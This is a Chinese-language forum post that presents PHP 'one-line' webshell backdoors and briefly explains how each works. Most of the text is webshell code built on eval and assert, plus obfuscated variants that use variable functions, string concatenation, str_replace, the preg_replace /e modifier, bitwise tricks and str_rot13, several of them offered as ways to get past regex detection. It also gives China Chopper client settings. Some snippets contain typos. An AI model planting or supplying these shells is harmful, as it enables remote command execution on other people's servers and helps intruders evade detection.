那些年我们追逐的php一句话,分析原理
11990 点击·0 回帖
![]() | ![]() | |
![]() | 今天谈谈php一句话后门分析
1.eval eval用法: eval() 函数把字符串按照 PHP 代码来计算 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。 <?php eval ($_POST[jusker]); ?> 2.assert Assert用法: assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false; 这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的,assert的用法却更详细一点 assert_option()可以用来对assert()进行一些约束和控制; 默认值 ASSERT_ACTIVE=1 //Assert函数的开关 ASSERT_WARNING =1 //当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion ASSERT_BAIL= 0 //是否要中止运行;terminate execution on failed assertions ASSERT_QUIET_EVAL= 0 //是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions 可以通过以上方法修改assert后门,达到绕过正则 <?php assert ($_POST[jusker]); ?> 三.变形一句话 1.<?php $_GET['xxoo']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?xxoo=assert或者是test.php?xxoo=eval 2.<?php $_POST['xxoo']($_POST['cmd']);?> 这个是直接发post数据包就OK 3.<?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?> 4.<?php ($_=@$_GET[jusker]).@$_($_POST[xxoo])?> http://localhost/jusker.php?jusker=asstrt 原理就是get传递参数assert然后形成@asserT@($_($_POST[xxoo]) 5.<?php $_POST['jusker']($_POST['cmd']);? 提交post内容形成assert,eval 5.通过str_replace替换 $a = str_replace(x,”",”axsxxsxexrxxt”) 最后要形成的是$a = assert 6.<?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?> 谈谈这个后门吧,这个是用e修饰符,只需要e所在的位置跟最后的"error"正则匹配正确就会$_POST['h']的内容 那么我们只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,让h参数执行 7.<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?> 菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST['xxoo']) 密码:xxoo 原理分析你只需要让$_拼接打印即可 8.<?php ($b4dboy = $_POST['1']) && @preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)', 'add'); ?> '@'.str_rot13('riny')相当于@eval,然后你懂的 其实大都数原理都是如此,加了变形,解析后依然是原装语句eval,assert | |
![]() | ![]() |